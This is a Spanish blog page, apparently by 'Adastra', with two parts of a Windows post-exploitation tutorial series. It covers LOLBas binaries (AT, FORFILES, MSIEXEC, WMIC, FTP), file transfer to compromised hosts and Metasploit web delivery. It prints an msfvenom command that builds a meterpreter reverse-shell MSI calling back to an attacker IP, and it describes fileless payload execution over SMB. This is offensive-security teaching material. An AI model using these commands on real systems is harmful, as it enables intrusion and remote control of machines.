Explotación de Software Hacking Services - Software

Enumeración en Windows para Post-Explotación – Parte 6.

Continuando con esta serie sobre enumeración básica en sistemas Windows, en esta parte se hará una introducción al proyecto LOLBas el cual se encuentra disponible en el siguiente enlace: lolbas-project.github.io/
Las publicaciones anteriores de esta serie se pueden ver en los siguientes enlaces:

Enumeración en Windows para Post-Explotación – Parte 1.
Enumeración en Windows para Post-Explotación – Parte 2.
Enumeración en Windows para Post-Explotación – Parte 3.
Enumeración en Windows para Post-Explotación – Parte 4.
Enumeración en Windows para Post-Explotación – Parte 5.

El proyecto LOLBas (Living Off The Land Binaries and Scripts and also Libraries) aparece dada la gran cantidad de binarios, scripts y librerías que pueden ser utilizados por atacantes locales para ejecutar operaciones que se salen del contexto o alcance de su diseño original. Por lo tanto, como resulta evidente se trata de componentes que hacen parte del sistema operativo y que vienen muy bien en procesos de Post-Explotación, de hecho, algunos de estos elementos pueden ser especialmente útiles para exfiltrar información sin necesidad de transferir scripts o herramientas a la máquina comprometida. Lo que hay que tener en cuenta en todo caso, es la versión del sistema operativo, ya que algunos binarios o librerías solamente se encuentran disponibles para Windows 10, mientras que otros solamente están habilitados en versiones de Windows antiguas o directamente «no existen» en diferentes versiones de Windows Server. En el proyecto LOLBas se describe cada comando y sus características, así como las versiones de Windows en las que se encuentra disponible.


Para ejecutar algunos de estos binarios se requieren privilegios elevados, por lo tanto es otra de las cuestiones que se deben comprobar. Nuevamente en la documentación disponible en LOLBas se describe el nivel de privilegios requerido para ejecutar cada comando, librería o instrucción. En la práctica, los componentes disponibles en el proyecto ayudan sobre todo a labores de post-explotación relacionadas con la transferencia de ficheros entre víctima y atacante, movimientos laterales e incluso persistencia, pero son pocos los binarios que ayudan en la elevación de privilegios horizontal o vertical, por lo tanto es posible que se le saque más provecho o sea más interesante utilizar los binarios y scripts disponibles utilizando un usuario con privilegios de administrador. A continuación se enseñan algunos LOLBas básicos para labores de Post-Explotación en Windows.

LOLBas AT

El comando AT se encuentra disponible en múltiples versiones de Windows y permite la ejecución periódica de comandos. Es bastante flexible y precisamente por este motivo, permite lanzar cualquier comando sin ningún tipo de verificación lo que en algunos escenarios le permitirá al atacante tener cierto control sobre el sistema o lanzar rutinas maliciosas. La descripción de este comando en el proyecto LOLBas se encuentra disponible en el siguiente enlace: https://lolbas-project.github.io/lolbas/Binaries/At/#execute

LOLBas FORFILES

Se trata de una utilidad que permite recorrer todos los ficheros de un directorio concreto y en el caso de que el nombre de uno de los ficheros recorridos coincida con el que se ha especificado en la opción “/m”, procederá a ejecutar el comando indicado con “/c”.

La descripción de este binario se encuentra disponible en el siguiente enlace del proyecto LOLBas: https://lolbas-project.github.io/lolbas/Binaries/Forfiles/#execute

LOLBas MSIEXEC

Se trata de una utilidad que permite descargar y ejecutar binarios en formato “msi” desde cualquier ubicación en el segmento de red. En primer lugar, sería necesario generar un ejecutable con dicho formato, para ello se puede utilizar msfvenom con la siguiente instrucción.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.116 LPORT=4444 -f msi -o /home/test/msipayload.msi

 

Como se puede apreciar en la imagen anterior, basta simplemente con indicar la URL donde se encuentra el binario y msiexec se encargará de su descarga y posterior ejecución. En este caso el fichero “msi” descargado producirá una sesión meterpreter ya que es el payload que se ha especificado con msfvenom. Hay que tener en cuenta que para que esto funcione se ha tenido que levantar el módulo “exploit/multi/handler” en segundo plano, utilizando el comando “exploit -j”. En el proyecto LOLBas se enseña una descripción del binario: https://lolbas-project.github.io/lolbas/Binaries/Msiexec/#execute

LOLBas WMIC

El comando WMIC es uno de los más extendidos y utilizados en sistemas Windows dada su potencia y beneficios que ofrece a un administrador de este tipo de sistemas. También se puede utilizar para la creación de procesos de forma arbitraria, lo que en algunos casos puede ser interesante para un atacante.

Como se puede apreciar en la imagen anterior, es posible subir un payload, el cual ha podido ser generado con la utilidad “msfvenom” y posteriormente utilizando WMIC, ejecutar con la instrucción wmic process call create “<PATH_EXE>”

La descripción de este binario en el proyecto LOLBas se encuentra disponible en el siguiente enlace: https://lolbas-project.github.io/lolbas/Binaries/Wmic/#execute

 

LOLBas FTP

Se trata de otro binario que se encuentra disponible en múltiples versiones de Windows. Es un comando que funciona como cliente FTP por línea de comandos, sin embargo también permite lanzar instrucciones contra el sistema local utilizando la opción “-s” la cual recibe un fichero de texto con las instrucciones que debe lanzar el cliente FTP. La descripción de esta técnica se encuentra descrita en el siguiente enlace del proyecto LOLBas: https://lolbas-project.github.io/lolbas/Binaries/Ftp/

En este post se han descrito algunos LOLBas básicos que pueden ser útiles en la enumeración/post-explotación de un sistema Windows, sin embargo existen otras posibilidades que ofrece LOLBas y que no se han explicado en este post por lo tanto se recomienda poner en práctica lo explicado aquí y ver otros comandos interesantes del proyecto. Para terminar, simplemente mencionar que existe otro proyecto similar pero enfocado a sistemas Unix llamado GTFOBins. De esto se hablará más adelante en otra serie sobre enumeración en sistemas Unix que empezaré a elaborar próximamente.

Un saludo y Happy Hack!
Adastra.

Categorías
Explotación de Software Hacking Hacking Python MetaSploit Networking Services - Software

Enumeración en Windows para Post-Explotación – Parte 5.

Enumeración en Windows para Post-Explotación – Parte 1.
Enumeración en Windows para Post-Explotación – Parte 2.
Enumeración en Windows para Post-Explotación – Parte 3.
Enumeración en Windows para Post-Explotación – Parte 4.

Aunque los comandos e instrucciones que se han listado en las partes anteriores a este post incluyen las actividades típicas para la enumeración de sistemas Windows, es conveniente tener cierta habilidad y libertad a la hora de moverse por el sistema y esto no siempre es tan sencillo. En ocasiones la shell con la que se cuenta no permite ejecutar ciertos comandos o puede ser inestable. También puede ocurrir que no se cuenta con los elementos o herramientas necesarias para la transferencia de ficheros, especialmente si se trata de un sistema Windows antiguo o con una cuenta que tiene muy pocos privilegios. Este tipo de cuestiones son las que normalmente se encuentran en una auditoría y es vital saber qué hacer en esas situaciones. En este post se verán algunos «tips» que pueden ser útiles para solventar o mitigar algunos problemas comunes en el proceso de post-explotación.

Transferencia de ficheros en post-explotación

Para muchas de las operaciones que implican la post-explotación es necesario subir ficheros a la máquina comprometida o bien descargar información. Para ello existen múltiples alternativas que pueden ser aplicables al objetivo en cuestión. En este caso se verán algunas de las más comunes y en otro artículo se explicará como ejecutar procesos de exfiltración más enfocados a campañas de Red Team.
En primer lugar se podría hablar de la posibilidad de subir o descargar ficheros con Meterpreter, se trata de una de las alternativas más típicas y que pueden venir bien si se cuenta con una sesión de este tipo.

Si no se cuenta con una sesión Meterpreter, se pueden utilizar algunas de las herramientas disponibles en el sistema comprometido para descargar ficheros (exfiltrar) y en este punto resulta conveniente revisar el proyecto LOLBas, del que se hablará más adelante en otro post. Desde la máquina del atacante se puede levantar muy fácilmente un servidor Web o FTP para la transferencia de ficheros a la víctima. Para ello se puede utilizar Python y los módulos que se encuentran disponibles para ello.

Al sistema comprometido se pueden transferir ficheros fácilmente utilizando Powershell o herramientas disponibles en el propio sistema operativo como certutil, mshta, bitsadmin o ftp.

Se trata de las alternativas «clásicas» y que funcionan bastante bien, sin embargo existe otra forma que puede venir muy bien en el caso de que sea necesario ejecutar un binario en el sistema comprometido sin necesidad de escribir nada en disco. De hecho, a menos que en el objetivo no hayan soluciones de seguridad perimetral o se encuentren desactivadas, es recomendable no ejecutar las instrucciones anteriores para evitar una posible detección. Dicho esto, crear una unidad compartida en la máquina del atacante y utilizar el protocolo SMB para la transferencia de información y ejecución «fileless» puede ser un mejor enfoque. Para ello se puede crear un servidor Samba en la máquina del atacante y configurarlo, se trata de algo sencillo y que en pocos minutos se puede conseguir, sin embargo a efectos prácticos se puede utilizar la implementación de pruebas del servidor SMB que viene incluido en el proyecto Impacket.

A partir de este punto se pueden transferir ficheros en ambos sentidos utilizando el protocolo SMB.

 

Y por supuesto, también sería posible la ejecución «fileless» de un binario.

En la imagen anterior se puede apreciar la ejecución de un binario que se encuentra almacenado en la unidad compartida del atacante. No obstante, aunque la transferencia se ha efectuado, dicho fichero no se ha guardado en disco y aún así se obtiene una sesión meterpreter. Es simplemente un ejemplo más sobre cómo aplicar esta técnica, aunque como se ha mencionado anteriormente también sería posible hacerlo con un servidor Samba en la máquina del atacante. El resultado será el mismo.

Windows Shell Upgrade.

Una vez comprometido el sistema es posible que la shell que se ha obtenido no sea lo suficientemente estable o resulte incómodo trabajar con ella, por ejemplo a la hora de ejecutar comandos interactivos o debido a que no se tiene la posibilidad de autocompletar, siendo una característica de Powershell que permite ahorrar tiempo y facilita el trabajo. En este sentido, se explican algunas técnicas útiles para contar con una shell robusta que será perfecta para post-explotación.

WebDelivery Metasploit Framework

El «WebDelivery» de Metasploit Framework es un modulo que se encarga de generar un comando en una sola línea, el cual tras ejecutarse en el objetivo, lanza el payload indicado utilizando el interprete seleccionado en la opción «TARGET» del módulo (Python, Powershell, PHP, Regsvr32, etc.)

Como se puede apreciar, el modulo tiene opciones que permiten indicar cómo se debe levantar el servidor (job de MSF) el cual se encargará de recibir las peticiones por parte de las víctimas y generar una sesión Meterpreter o lo que sea que se haya indicado en el payload.

Al establecer el TARGET a «PSH» el comando generado incluye una instrucción Powershell y tal como se puede ver, el payload propiamente dicho se encuentra codificado en Base64, dicha cadena se decodifica y ejecutan las instrucciones decodificadas. Resulta bastante simple y permite generar, en este caso concreto, una sesión meterpreter perfectamente funcional y que es posiblemente mucho más interesante de cara a la post-explotación que una shell cruda.

Dado que este post está quedando bastante largo, en el siguiente se hablará sobre otras técnicas útiles para la generación de shells robustas y otras cuestiones interesantes en la post-explotación de sistemas Windows como es el caso del proyecto LOLBas.

Un saludo y Happy Hack!
Adastra.